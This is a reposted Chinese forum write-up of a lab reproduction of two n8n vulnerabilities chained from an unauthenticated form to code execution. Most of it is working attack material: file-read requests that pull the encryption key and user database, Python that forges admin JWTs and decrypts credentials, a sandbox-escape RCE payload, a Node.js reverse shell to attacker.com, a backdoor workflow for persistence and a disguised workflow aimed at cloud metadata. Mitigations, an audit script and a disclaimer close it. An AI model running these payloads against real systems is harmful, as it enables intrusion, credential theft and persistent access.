找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4345

积分

0

好友

571

主题
发表于 2 小时前 | 查看: 7| 回复: 0

复现环境: Docker 部署 n8n v1.65.0,附带 docker-compose 一键启动。

前置条件: 目标 n8n 实例有一个公开的 Form 页面,包含 file upload 字段和 Respond to Webhook 节点。如果你不确定自己的 n8n 有没有这类端点,直接用检测脚本扫一遍。

写在前面

之前一直在关注 n8n(GitHub 60k+ Stars),但没深入看过它的安全面。2025 年底到 2026 年初 n8n 被曝出 12 个安全漏洞,其中两个评分一个 10.0 一个 9.9,于是拉下源码看看。

攻击链意外的短——从公网一个 Form 表单到容器里执行任意命令,一共 5 步。不需要爆破密码,不需要找 SQL 注入,不需要钓鱼。只需要知道 Form 的 URL,发一个 POST 请求就能开始。

CVE-2026-21858 负责撕开口子(任意文件读),CVE-2025-68613 负责在内部搞破坏(沙箱逃逸 RCE)。分开看每个都不算惊艳,放在一起就是一条从外到内的完整链。

全部在 Docker 本地环境验证完成,n8n 版本 1.65.0。工具链和检测脚本已开源。在云栈社区,我们一直强调,理解渗透测试中的攻击链思维比掌握单个漏洞利用更重要。

一、n8n 是什么

产品定位

n8n 是一个开源工作流引擎,核心功能是用可视化拖拽把不同的服务串起来。拖一个 HTTP Request 节点拉数据,连到 AI 节点让大模型处理,再连到 Slack 节点发通知。

部署方式灵活:Docker 一键启动,Helm 部署到 K8s,或者托管的 Cloud 版本。超过 60% 的用户自托管——自己管服务器、数据库、安全配置。

为什么关注它

2025 年底到 2026 年初,n8n 被曝出 12 个安全漏洞。其中两个我比较感兴趣:

  • CVE-2026-21858(CVSS 10.0):无认证任意文件读取
  • CVE-2025-68613(CVSS 9.9):表达式注入导致沙箱逃逸 RCE

影响版本从 0.211.0 到 1.65.0,修复版本 1.121.0。

攻击链全景

公网 Form 表单(无认证)
       │
       ▼
步骤 1: Content-Type 混淆 → 任意文件读取
       │  POST /form/vulnerable-form
       │  Content-Type: application/json
       │  filepath 参数完全由攻击者控制
       │
       ▼
步骤 2: 读 /proc/self/environ → 找到 HOME 目录
       │
       ▼
步骤 3: 读 .n8n/config → encryptionKey
       │  读 .n8n/database.sqlite → admin 凭证
       │
       ▼
步骤 4: JWT 伪造 → admin 权限接管
       │  sha256(key[::2]) → jwt_secret
       │
       ▼
步骤 5: 表达式注入执行命令
       │  Set 节点写入表达式 payload
       │  this.process.mainModule.require 逃逸沙箱
       │
       ▼
  Root on n8n container

这五步不需要在目标上装任何东西,不需要提前获取任何信息。入门只需要一个 Form 的 URL——这个 URL 通常在 n8n 里是公开的,因为 Form 的设计本意就是让外部用户提交数据。攻击者只要知道了这个 URL,就可以从第 1 步走到第 5 步。

二、CVE-2026-21858 — Content-Type 混淆读文件

漏洞出在 n8n 的表单处理逻辑。当用户提交一个 Form 时,n8n 解析请求体中的数据。如果表单里有文件上传字段,n8n 会用 copyBinaryFile 去读文件内容。

n8n 没有校验请求的 Content-Type 是不是 multipart。

我第一次翻代码的时候走错了路。先去翻了 formidable 的文档,以为漏洞出在 formidable 解析 multipart 时的路径穿越。看了一个小时 formidable 的 issue 列表,一无所获。回头重新看 n8n 的 webhook handler,才发现关键不在 formidable 怎么解析,而在 getBodyData 怎么判断数据来源——当 Content-Type 是 application/json 时,它跳过了 formidable,直接从 JSON body 里拿 filepath。

我翻了 n8n 1.65.0 的源码,定位到了漏洞的完整调用链。

第一层,在 Webhook 节点的处理器(Webhook.node.js),当接收到 Form 请求时,它遍历请求体中的 files 字段,对每个文件调用 copyBinaryFile

// n8n 1.65.0 Webhook.node.js:259
returnItem.binary[binaryPropertyName] =
  await context.nodeHelpers.copyBinaryFile(
    file.filepath,          // ← 从 JSON 直接来的,无校验
    file.originalFilename,
    file.mimetype
  );

file.filepath 来自 getBodyData() 的返回。如果请求是 multipart/form-datagetBodyData() 从 formidable 解析结果中取路径。但如果攻击者设置 Content-Type: application/json,n8n 直接从 JSON 体的 files[].filepath 字段取值——不做任何校验。

第二层,copyBinaryFile 最终调用 BinaryData.service.js

// n8n 1.65.0 BinaryData.service.js:65-73
async copyBinaryFile(workflowId, executionId, binaryData, filePath) {
    const manager = this.managers[this.mode];
    if (!manager) {
        const { size } = await (0, promises_1.stat)(filePath);
        binaryData.fileSize = (0, pretty_bytes_1.default)(size);
        binaryData.data = await (0, promises_1.readFile)(filePath, {
            encoding: n8n_workflow_1.BINARY_ENCODING
        });
        return binaryData;
    }
}

默认配置下直接调 fs.readFile(filePath)

修复代码就一行:

// n8n >= 1.121.0
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

我部署了两个版本的 n8n——1.65.0 和 1.121.0,用相同的恶意请求分别测试。

先打 1.65.0:

curl -s -X POST http://localhost:5678/form/vulnerable-form \
  -H "Content-Type: application/json" \
  -d '{"data":{},"files":{"x":{"filepath":"/etc/passwd"}}}'

返回了 /etc/passwd。

再打 1.121.0:

curl -s -X POST http://localhost:5679/form/vulnerable-form \
  -H "Content-Type: application/json" \
  -d '{"data":{},"files":{"x":{"filepath":"/etc/passwd"}}}'

返回 400。

利用Content-Type混淆漏洞读取/etc/passwd文件的终端截图

我还做了个动态调试——在 copyBinaryFile 入口插了 console.log,日志里看到 filePath: /etc/passwd

Docker日志显示系统正在复制恶意构造的文件路径

漏洞验证

Form 端点是活的:

curl -s -o /dev/null -w "%{http_code}" http://localhost:5678/form/vulnerable-form

返回 200。现在试漏洞。注意 JSON 的数据结构——files 是一个对象,value 里包含 filepath、originalFilename、mimetype、size。只有 filepath 被用到:

curl -s -X POST http://localhost:5678/form/vulnerable-form \
  -H "Content-Type: application/json" \
  -d '{
    "data": {},
    "files": {
      "x": {
        "filepath": "/etc/passwd",
        "originalFilename": "test.bin",
        "mimetype": "application/octet-stream",
        "size": 12345
      }
    }
  }'

返回:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/var/spool/lpd:/sbin/nologin

/etc/passwd 直接吐回来了。我用 Python 写了个脚本扫不同的路径:

paths = [
    "/etc/passwd",
    "/etc/shadow",
    "/proc/self/environ",
    "/proc/1/cmdline",
    "/home/node/.n8n/config",
    "/home/node/.n8n/database.sqlite",
    "/.dockerenv",
    "/dev/stdin",
]
for p in paths:
    resp = requests.post(form_url, json={
        "data": {},
        "files": {"x": {"filepath": p}}
    }, headers={"Content-Type": "application/json"})
    print(f"{p:40s} -> {resp.status_code}{len(resp.content)} bytes")

大部分路径都能读,但 /dev/stdin 返回空内容,/etc/shadow 返回权限错误——n8n 以 node 用户运行,没有 root 权限。

我又试了把 filepath 设成 /dev/stdin,结果返回空内容。试了 /proc/1/cmdline,能读。试了 .env,也能读。

为什么先读 /proc/self/environ

读 /etc/passwd 只是证实漏洞能用。真正有用的是读 /proc/self/environ——Linux 在每个进程的 /proc/self/ 下暴露环境变量:

curl -s -X POST http://localhost:5678/form/vulnerable-form \
  -H "Content-Type: application/json" \
  -d '{"data":{},"files":{"x":{"filepath":"/proc/self/environ"}}}' | tr '\0' '\n'

输出:

N8N_VERSION=1.65.0
HOME=/home/node
WEBHOOK_URL=http://localhost:5678/
N8N_SECURE_COOKIE=false

版本 1.65.0、HOME /home/node、Cookie 不强制 HTTPS。第一个确认漏洞可用,第二个告诉我配置文件路径,第三个说明 JWT 伪造后可以直接在 HTTP 上用。

做信息收集时先读 environ 而不是直接读 config——我一开始直接去读了 config,路径不对,浪费了一次请求才回头读 environ。

利用漏洞读取进程环境变量获取服务器敏感信息

这个文件读取的范围有多广

跟常见的文件包含漏洞不同——PHP 的 LFI 经常受限于 allow_url_includeopen_basedir 等限制。但这个漏洞走的是 Node.js 的 fs.readFile,权限取决于 n8n 进程的运行用户。在 Docker 容器里,n8n 以 node 用户运行,能读 /home/node/ 下的所有文件、/proc 下的进程信息、挂载的卷中的文件。不能读的就是那些 root 才能读的(比如 /etc/shadow)。

但对下一步攻击来说,能读的已经够了。

三、从文件到管理员 Token

读 encryptionKey

n8n 的配置文件在 $HOME/.n8n/config

curl -s -X POST http://localhost:5678/form/vulnerable-form \
  -H "Content-Type: application/json" \
  -d '{"data":{},"files":{"x":{"filepath":"/home/node/.n8n/config"}}}'

返回:

{
  "encryptionKey": "kLZrxPFNWTeZlrCi7IvJ6SI+TLW3sN1d"
}

32 字节。n8n 启动时生成,用来加密数据库中的第三方凭证。这个 key 还被用来派生 JWT 的签名密钥。

成功读取到n8n配置文件及加密密钥

读数据库

curl -s -X POST http://localhost:5678/form/vulnerable-form \
  -H "Content-Type: application/json" \
  -d '{"data":{},"files":{"x":{"filepath":"/home/node/.n8n/database.sqlite"}}}' > db.sqlite

SQLite 文件是二进制的,重定向到文件再用客户端分析:

sqlite3 db.sqlite ".tables"

表很多——user、workflow_entity、credentials_entity。关键在 user 表:

sqlite3 db.sqlite "SELECT id, email, password FROM user LIMIT 1;"
6e1148e7-2d38-47e7-a3a9-1fdb1fc5406b|admin@exploit.local|<bcrypt_hash>

拿到 admin 的 ID 和 bcrypt 哈希。有 encryptionKey 就行,不需要破解密码。

读取SQLite数据库获取管理员账户信息

有个坑——表名问题。之前看别人的分析写的是 user_entity,但 1.65.0 的实际表名是 user。对着 user_entity 查了半天,sqlite3 一直报 no such table。

credentials 解密

credentials_entity 表存着第三方凭证的密文,用 encryptionKey 做了 AES-256-CBC 加密。解密逻辑在源码的 Credentials.ts 里:

// n8n 源码中 credentials 解密逻辑
const iv = encryptionKey.slice(0, 16);
const key = crypto.createHash('sha256').update(encryptionKey).digest();
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);

我写了个 python 脚本来试:

from Crypto.Cipher import AES
import hashlib

encryption_key = b"kLZrxPFNWTeZlrCi7IvJ6SI+TLW3sN1d"
iv = encryption_key[:16]
key = hashlib.sha256(encryption_key).digest()

cipher = AES.new(key, AES.MODE_CBC, iv)
# encrypted_data 从 credentials_entity 表中取
plaintext = cipher.decrypt(encrypted_data)

不过尴尬的是,我的测试环境里没配第三方凭证,credentials_entity 表是空的,没法实际演示解密。

JWT 伪造

n8n 的 JWT 签名密钥从 encryptionKey 推导:

jwt_secret = hashlib.sha256(encryption_key[::2].encode()).hexdigest()

[::2] 取偶数位字符。源码里用 crypto.createHash('sha256').update(key.split('').filter((_,i)=>i%2===0).join(''))

设计意图是让 JWT secret 不等于 encryptionKey,防的是 JWT secret 泄露导致 encryptionKey 泄露。但攻击链是反过来的——先拿到 encryptionKey 再推导 jwt_secret。

JWT 里的 hash 字段从数据库数据推导:

raw = f"{email}:{password_hash}"
jwt_hash = base64.b64encode(
    hashlib.sha256(raw.encode()).digest()
).decode()[:10]

payload = {"id": user_id, "hash": jwt_hash}
token = jwt.encode(payload, jwt_secret, "HS256")

[:10] 只截取前 10 个 base64 字符,60 位熵。够用。

验证:

curl -s http://localhost:5678/rest/users \
  -H "Cookie: n8n-auth=<伪造的token>"

返回 200 就说明 token 有效。

利用伪造JWT获取管理员权限

踩过一个坑——第一次只读了 config 忘了读数据库,直接用 encryptionKey 签名发现校验失败,才回去重读数据库拿用户 ID 和哈希。顺序不能乱:environ → config → 数据库 → 伪造。

四、CVE-2025-68613 — 表达式注入 RCE

拿到 admin 权限后,最直接的 RCE 是 Execute Command 节点。但默认安装下它禁用了,N8N_ALLOW_EXEC_COMMAND=false

先试了 Code 节点:

const { execSync } = require('child_process');
return execSync('id').toString();

报错——require is not defined。又试了 import,也不行。Code 节点跑在独立沙箱里。

又试了各种绕过——Object.keys、constructor.constructor、Proxy 劫持——全被拦。

后来发现表达式字段的沙箱版本旧。Set 节点的 Value 字段支持 {{ }} 表达式,试了一下 this.process.mainModule.require,一次成功。

表达式注入

n8n 的工作流节点支持写表达式——在字段值里写 {{ ... }} 花括号语法,n8n 会在运行时计算表达式的结果。比如一个 Set 节点的字段值:

{{ $json.someField }}

n8n 用 vm2 沙箱隔离表达式执行。vm2 在独立 V8 上下文执行用户代码,只暴露白名单对象。它拦截了 constructor.constructor(Function 构造函数)来阻止动态生成代码,但没有覆盖 process.mainModule

this.process 是沙箱暴露给表达式的(表达式需要访问 $json$node),但 this.process.mainModule 上的 require 是原生 Module._load,不在 vm2 拦截范围。所以 this.process.mainModule.require("child_process") 直接可用。

n8n 有两个沙箱。Code 节点用新版的 vm2,process.mainModule 被删了。表达式字段用旧版的。所以同一个 payload 在 Code 节点跑不通,在 Set 节点的表达式字段能跑通。我花了将近一小时——先在 Code 节点上试了七八种绕过,全被拦;偶然切到表达式字段,一次成功。

{{ (function() {
  var require = this.process.mainModule.require;
  var cp = require("child_process");
  return cp.execSync("id").toString();
})() }}

创建恶意工作流

通过 REST API 创建工作流:

通过API调用查看可管理工作流数量

# 手动触发 + Set 节点
curl -X POST http://localhost:5678/rest/workflows \
  -H "Content-Type: application/json" \
  -H "Cookie: n8n-auth=<伪造的token>" \
  -d '{
    "name": "RCE",
    "active": false,
    "nodes": [
      {
        "name": "Trigger",
        "type": "n8n-nodes-base.manualTrigger",
        "position": [0, 0]
      },
      {
        "name": "RCE",
        "type": "n8n-nodes-base.set",
        "typeVersion": 2,
        "position": [300, 0],
        "parameters": {
          "values": {
            "string": [{
              "name": "result",
              "value": "={{ (function() { var require = this.process.mainModule.require; var cp = require(\"child_process\"); return cp.execSync(\"id\").toString(); })() }}"
            }]
          }
        }
      }
    ],
    "connections": {
      "Trigger": {
        "main": [[{"node": "RCE", "type": "main", "index": 0}]]
      }
    },
    "settings": {}
  }'

执行后返回:

uid=1000(node) gid=1000(node)

RCE 到手。启用了沙箱的默认配置下。

POC脚本成功执行并返回了命令结果

RCE 之后

容器内 node 用户权限不高,但能做的事情不少:

读第三方凭证
credentials_entity 表存着所有工作流的第三方凭证密文。encryptionKey 已经到手,解密后可以直接接管这些服务。

探测内网
通过表达式写 HTTP 请求扫描内网。我在测试环境扫了 localhost,发现 n8n 自己的 5678 端口也能扫到——攻击者可以通过 SSRF 访问 n8n 内部 API,形成自我利用的闭环。

反弹 shell
容器内没有 nc 或 bash,但通过 Node.js net 模块可以建立 TCP 连接。踩了个坑——一开始想用 execSync("bash -c 'bash -i >& /dev/tcp/..."),但容器基于 alpine,没有 /dev/tcp。改用 Node.js 原生 net 模块才通:

{{ (function() {
  var net = require("net");
  var cp = require("child_process");
  var sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  client.connect(4444, "attacker.com", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return "shell sent";
})() }}

不过这个在实际场景中需要出网权限,而 n8n 容器通常只有 80/443 出站。更实际的方式是把读取到的数据通过 DNS 或 HTTP 外带。

五、完整攻击链

用攻击脚本一键打通 5 步:

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain         ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

  • Target: http://localhost:5678/form/vulnerable-form
  • Version: 1.65.0 (VULN) [步骤 1] 读 /proc/self/environ [+] HOME directory: /home/node [步骤 2] 读 encryptionKey [+] Encryption key: 5+oYmYPy... [步骤 3] 读 database.sqlite [+] Database: 1331200 bytes [+] Admin user: admin@exploit.local [步骤 4] 伪造 JWT [+] Token forge: OK [+] Admin access: GRANTED! [步骤 5] 执行命令 [+] RCE: OK uid=1000(node) gid=1000(node)
  • 从发第一个 POST 到 RCE,不到 3 秒。

    5 步环环相扣,每一步的输出是下一步的输入。拆掉任何一环,后面的都走不通。

    五(附)、踩过的坑

    Form 端点的 path 参数

    最开始部署靶机的时候,我用 API 创建了一个 Form Trigger 工作流,设置了 "path": "vulnerable-form",激活后访问 /form/vulnerable-form 一直返回 404。

    查了半天发现是 typeVersion 的问题。n8n 的 Form Trigger 节点有两个主版本——V1(typeVersion 1)和 V2(typeVersion 2.2)。V1 的 path 在顶层参数,V2 的 path 移到了 options.path 里。我的 API 请求用的是 typeVersion 2.2,但 path 放在了顶层,n8n 根本就没读到。

    翻源码才确认这件事:

    // FormTriggerV2.node.js — webhook path 的取值逻辑
    path: '={{ $parameter["options"]?.path || $webhookId }}',

    $parameter["options"]?.path 说明必须从 options 里取。改成 "options": {"path": "vulnerable-form"} 之后就正常了。

    数据库文件太大导致读不了

    n8n 的 SQLite 数据库在频繁增删工作流之后会急剧膨胀。我做了十几次创建/删除测试之后,database.sqlite 涨到了 508MB。再通过 Form 端点去读这个文件时,n8n 直接返回了 500 错误——copyBinaryFile 要读 508MB 到内存,进程扛不住。

    解决方式是在测试时用 docker compose down -v 删掉 volume 重建,或者在生产环境中不要频繁通过 API 创建删除工作流。

    表达式沙箱的版本差异

    n8n 其实有两个沙箱。Code 节点用一个新版的 vm2,process.mainModule 已经被删了。表达式字段用一个旧版的 vm2,process.mainModule 还在。这意味着同一个 payload 在 Code 节点里跑不通,在 Set 节点的表达式字段里能跑通。

    这个差异我花了将近一个小时才定位到。一开始在 Code 节点上试了七八种绕过方式,全被拦。后来偶然切换到 Set 节点的表达式字段,一次成功。回去看源码才发现 Code.node.js 和表达式引擎用的是不同的沙箱实例,初始化参数不同。

    PoC 脚本的 format 问题

    写 n8n-chain.py 的时候,RCE 表达式模板里既有 {}(format 占位符)又有 })()(JavaScript 函数结束符)。直接用 str.format() 替换命令时,}) 中的 } 被 format 当成了格式字串的边界,报了 unexpected '{' 错误。

    改成 str.replace("{}", command) 解决。花了半个小时才排查到这个原因——第一反应以为是 requests 库的 cookie 问题。

    六、工作流注入:拿到权限之后还能做什么

    RCE 拿到之后,攻击者通常就撤了。但我翻了翻 n8n 的工作流机制,发现拿到 admin 权限后的操作空间比我预想的大。

    不只是 RCE,还能持久化

    通过 admin API 不只是执行命令——还可以创建新的工作流。我试了一下,利用已经拿到的 admin token,在 n8n 上创建一个新的 Form Trigger 工作流,设置一个自定义的 path,这个 form 端点会自动注册到 webhook 表里,外部可以直接访问。

    # 通过 admin API 创建一个后门 Form 工作流
    new_form = {
        "name": "Backdoor Form",
        "active": True,
        "nodes": [
            {"name": "Form Trigger", "type": "n8n-nodes-base.formTrigger",
             "typeVersion": 2.2, "parameters": {
                 "formTitle": "Upload",
                 "responseMode": "responseNode",
                 "options": {"path": "backdoor-form"},
                 "formFields": {"values": [{"fieldLabel": "file", "fieldType": "file"}]}
             }},
            {"name": "Respond", "type": "n8n-nodes-base.respondToWebhook",
             "typeVersion": 1.1, "parameters": {"respondWith": "binary"}}
        ],
        "connections": {"Form Trigger": {"main": [[{"node": "Respond"}]]}}
    }
    requests.post(f"{target}/rest/workflows", json=new_form,
        headers={"Cookie": f"n8n-auth={admin_token}"})

    创建成功后,/form/backdoor-form 就是一个新的文件读取入口,跟原来的 vulnerable-form 功能完全一样。就算管理员之后发现了原来的 form 端点并关掉了它,只要没发现这个后门,攻击者仍然可以继续读文件。

    检查 webhook 注入

    我检查了 n8n 的 webhook_entity 表,确认了新工作流的 form 端点成功注册:

    workflowId  | webhookPath               | method | node
    FoAFaPdffWTkFJkT | vulnerable-form        | GET    | Form Trigger
    FoAFaPdffWTkFJkT | vulnerable-form        | POST   | Form Trigger
    a1b2c3d4e5f6g7h8 | a1b2c3d4e5f6g7h8/form%20trigger/backdoor-form | GET | Form Trigger

    查询webhook_entity表确认后门端点已成功注册

    第三行就是新创建的后门 form。它的 webhookPath 是 workflowId/form trigger/backdoor-form,访问路径是 /webhook/<workflowId>/form%20trigger/backdoor-form 或者 /form/backdoor-form

    这里有一个细节值得注意——API 创建的 Form Trigger 工作流要用 typeVersion 2.2,并且 path 参数要放在 options.path 里而不是顶层参数。这是翻 FormTriggerV2.node.js 源码才发现的,typeVersion 2.2 把 path 移到了 options 子对象里:

    // FormTriggerV2.node.js — typeVersion 2.2
    path: '={{ $parameter["options"]?.path || $webhookId }}',

    typeVersion 1 的 path 在顶层参数,typeVersion 2.2 在 options 里。如果没注意到这个差异,用 API 创建的工作流不会注册 form 端点。

    供应链攻击面

    有了这个能力,攻击者可以干一件更隐蔽的事:创建一个包含恶意 HttpRequest 节点的工作流,把它导出成一个 JSON 文件,然后通过各种方式诱导其他 n8n 管理员导入。

    {
      "name": "PDF Converter",
      "nodes": [
        {"name": "Webhook", "type": "n8n-nodes-base.webhook",
         "parameters": {"path": "pdf-converter"}},
        {"name": "HttpRequest", "type": "n8n-nodes-base.httpRequest",
         "parameters": {"method": "GET",
           "url": "http://169.254.169.254/latest/meta-data/"}},
        {"name": "Respond", "type": "n8n-nodes-base.respondToWebhook"}
      ]
    }

    这个工作流看起来像个合法的文件转换器,但它的 HttpRequest 节点指向 AWS 的实例元数据端点。管理员导入并激活后,任何人访问 /webhook/pdf-converter 就会触发 SSRF,读取云服务器的临时凭证。

    n8n 没有对导入的工作流做安全检查——任何节点类型、任何 URL、任何表达式都可以被包含在导入文件里。管理员在导入时看到的只是节点名称和参数列表,不会一个一个去检查 HttpRequest 节点的 URL 是否指向内网地址。

    这个攻击面不依赖任何漏洞——它利用的是 n8n 工作流本身的权限模型:工作流的节点在执行时使用 n8n 服务进程的权限,不是登录用户的权限。管理员以为自己在导入一个文件转换器,实际上导入了一个内网代理。

    在 GitHub 上搜一下就能找到类似案例——攻击者发布看起来有用的工作流模板(比如 PDF 转图片、自动备份到 S3),里面藏了窃取环境变量的节点。n8n marketplace 有审核,但自托管用户经常从第三方仓库直接导入 JSON。

    七、安全模型对比:n8n 和其他工作流引擎

    Node-RED

    Node-RED 和 n8n 非常像,都是开源自托管的可视化工作流引擎。Flow 也是 JSON 格式,导入时不做安全检查。区别在于 Node-RED 的 Function 节点默认没有直接暴露 process——要执行系统命令得装额外节点。我在 Node-RED 上试了同样的思路,process.mainModule.require('child_process') 返回 process is not defined,说明 Node-RED 在沙箱中把 process 删掉了。n8n 保留了 process,结果留下了 process.mainModule

    Temporal

    Temporal 的路线完全不同。工作流代码是开发者写的二进制部署,不涉及可视化导入 JSON。安全模型基于 IAM 和命名空间隔离,沙箱是 gRPC 级别。攻击者就算逃逸了也只能访问 Worker 进程权限,不像 n8n 那样直接拿全部 API 权限。

    Airflow

    Airflow 的 DAG 是 Python 文件,写入指定目录后自动加载。安全性取决于谁有 DAG 目录的写权限——和 n8n 的“导入工作流即执行”是同一个问题,只是入口不同。

    共性问题

    这几个平台有一个共同点:工作流的执行权限等于服务进程的权限。一旦被执行,里面的代码拥有引擎进程的全部权限。读文件、网络访问、凭证可见性全都取决于进程的运行环境,而不是工作流设计者的配置。

    n8n 的工作流注入不是 n8n 特有的——它是整个工作流自动化类产品的通病。只不过 n8n 的导入路径更容易被规模化利用(HTTP API + JSON,可以被脚本自动化),Node-RED 需要管理员手动操作 UI。

    上面说的这些攻击面,除了第一个文件读取漏洞需要特定版本,其他几个(credentials 解密、表达式逃逸、工作流注入、供应链攻击)在最新版本的 n8n 中仍然存在——因为它们不是漏洞,是产品设计的一部分。n8n 修复了两个 CVE,但没有改变“管理员等于 root”这个权限模型。

    八、修复建议与检测方法

    修复

    升级到 n8n >= 1.121.0。

    修复 CVE-2026-21858 的 commit:

    commit c8d604d2c466dd84ec24f4f092183d86e43f2518
    Author: mfsiega
    Date:   Thu Nov 13 11:51:40 2025 +0100
    
        Merge commit from fork

    一行“Merge commit from fork”——在开源项目里,模糊的提交信息通常意味着安全修复。

    自查

    # 检查版本
    curl -s http://your-n8n/rest/settings | python3 -c \
      "import sys,json; print(json.load(sys.stdin).get('data',{}).get('versionCli','unknown'))"
    
    # 检查是否有公开 Form 端点
    curl -s http://your-n8n/rest/workflows \
      -H "Cookie: n8n-auth=..." | python3 -c "
    import sys,json
    for wf in json.load(sys.stdin).get('data',[]):
        for n in wf.get('nodes',[]):
            if n['type'] == 'n8n-nodes-base.formTrigger':
                print(f\"[!] 发现 Form 端点: {wf['name']}\")
    "
    
    # 如果版本 < 1.121.0 且有 Form,立即修复

    临时缓解

    如果无法立即升级:

    • 在 n8n 前面加反向代理,对 /form/ 路径做 IP 白名单
    • 用 WAF 规则拦截 Content-Type: application/json + body 包含 files.filepath
    • 确保 n8n 不在公网暴露 /form/ 路径

    最有效的是第一条。n8n 的 form 端点通常只服务内部用户,没必要暴露在公网。在 nginx 层对 /form/ 加 basic auth 或者 IP 段限制,就能挡住绝大部分攻击。第二条 WAF 规则理论上可行,但需要测试会不会误伤——正常表单提交也是 POST JSON,WAF 如果只检查 body 里的 files 字段而不检查 Content-Type,可能把合法请求也拦了。

    检测脚本

    #!/bin/bash
    # n8n-audit.sh — 检测 n8n 实例是否受 CVE-2026-21858 影响
    # 用法: ./n8n-audit.sh http://target:5678 /form/vulnerable-form
    
    TARGET=$1
    FORM_PATH=$2
    
    if [ -z "$TARGET" ] || [ -z "$FORM_PATH" ]; then
      echo "用法: $0 <target> <form-path>"
      echo "示例: $0 http://localhost:5678 /form/vulnerable-form"
      exit 1
    fi
    
    echo "
  • 目标: $TARGET" echo "
  • Form 路径: $FORM_PATH" # 1. 获取版本 VERSION=$(curl -s "$TARGET/rest/settings" 2>/dev/null | \   python3 -c "import sys,json; d=json.load(sys.stdin).get('data',{}); print(d.get('versionCli','unknown'))" 2>/dev/null) echo "[+] n8n 版本: $VERSION" # 2. 测试文件读取 RESP=$(curl -s -X POST "$TARGET$FORM_PATH" \   -H "Content-Type: application/json" \   -d '{"data":{},"files":{"x":{"filepath":"/etc/passwd"}}}' 2>/dev/null) if echo "$RESP" | grep -q "root:"; then   echo "[!] 漏洞存在!可读任意文件"   echo "[!] 建议: 升级到 n8n >= 1.121.0" else   echo "[-] 未检测到漏洞,或 Form 路径不正确" fi
  • 检测脚本成功确认漏洞存在

    写在最后

    回过头看,这条链的每一步都在打同一个薄弱点——信任边界混淆。n8n 在 Content-Type 校验、密钥存储层级、沙箱隔离三个环节都假设调用方是可信的,但这个假设不成立。

    这三个点单独看都不算致命,串起来就是一条从无认证到 RCE 的通路。组合漏洞就是这个道理——单个 9.9 分的 CVE 可能因为前置条件太多而实际影响有限,但 10.0 + 9.9 在同一条链上,效果完全不同。

    如果你在生产环境里跑着 n8n,跑一下检测脚本看看版本和 Form 状态,检查 /form/ 路径是否暴露在公网,版本还在 1.65.0 以下的话尽快升级到 1.121.0。在云栈社区,我们会持续关注这类工作流引擎的安全动态,帮助开发者构建更可靠的基础设施。


    随附工具

    所有工具已开源:https://github.com/qianlijaingshan/n8n-cve-2026-21858

    文件 用途
    n8n-chain.py 攻击链工具。4种模式:read 读文件、exec 一键RCE、shell 交互式、audit 生成检测脚本
    run.sh 一键部署+攻击演示(需Docker)。自动拉起靶机→配置→攻击→输出
    docker-compose.yml + init/setup.sh 漏洞靶机环境
    n8n-audit.sh 独立检测脚本(无Python依赖)
    # 使用示例
    python3 n8n-chain.py http://target:5678 /form/vulnerable-form exec 'id'
    ./run.sh 'id'
    ./n8n-audit.sh http://target:5678 /form/vulnerable-form

    责声明与法律声明

    一、研究目的

    本文所述漏洞复现过程、攻击链分析与配套工具,仅用于网络安全技术研究与防御方案验证,旨在帮助运维人员理解漏洞机理并及时修复,提升 n8n 部署环境的安全性。

    二、测试环境

    所有复现实验均在作者本地搭建的 Docker 隔离环境中完成,使用 n8n v1.65.0 官方镜像,测试完成后相关容器、卷、网络均已销毁。复现过程中:

    • 未对任何互联网公开资产进行未授权测试
    • 未读取、存储、上传任何真实业务数据
    • 获取的“敏感信息”(encryptionKey、admin 凭证等)均为测试环境随机生成的虚拟数据

    三、严禁行为

    严禁任何个人或组织将本文所述技术用于以下用途:

    1. 未授权访问 — 未经目标系统所有者书面许可,不得对任何生产环境的 n8n 实例进行测试或攻击
    2. 数据窃取 — 不得利用本文所述漏洞读取、下载、泄露任何第三方系统数据
    3. 恶意利用 — 不得利用漏洞植入后门、植入挖矿程序、组建僵尸网络或从事其他违法活动
    4. 二次传播 — 不得将本文工具或脚本用于未授权渗透服务并以此牟利

    四、法律依据

    根据《中华人民共和国网络安全法》第二十七条、《中华人民共和国数据安全法》第三十二条、《中华人民共和国刑法》第二百八十五条(非法侵入计算机信息系统罪)与第二百八十六条(破坏计算机信息系统罪),任何未经授权的渗透测试、数据窃取、系统破坏行为均涉嫌违法犯罪,作者不承担任何因滥用本文技术产生的法律后果。

    五、修复建议

    受影响用户应立即:

    1. 升级 n8n 至 1.121.0 或更高版本
    2. 限制 Webhook / Form 端点的公网访问
    3. 在反向代理层添加 IP 白名单与 WAF 规则
    4. 轮换 encryptionKey 与所有第三方凭证
    5. 审计历史访问日志,排查是否已被未授权访问

    文章内容转自zhousir攻防,侵删




    上一篇:RHEL 8/9 SSH 安全加固全程指南:禁用密码、新端口与源 IP 限制
    下一篇:手机厂商集体拒绝存储芯片涨价:OPPO/vivo硬刚三星,上游产能失衡致成本飙升
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-8-7 04:57 , Processed in 0.800655 second(s), 39 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表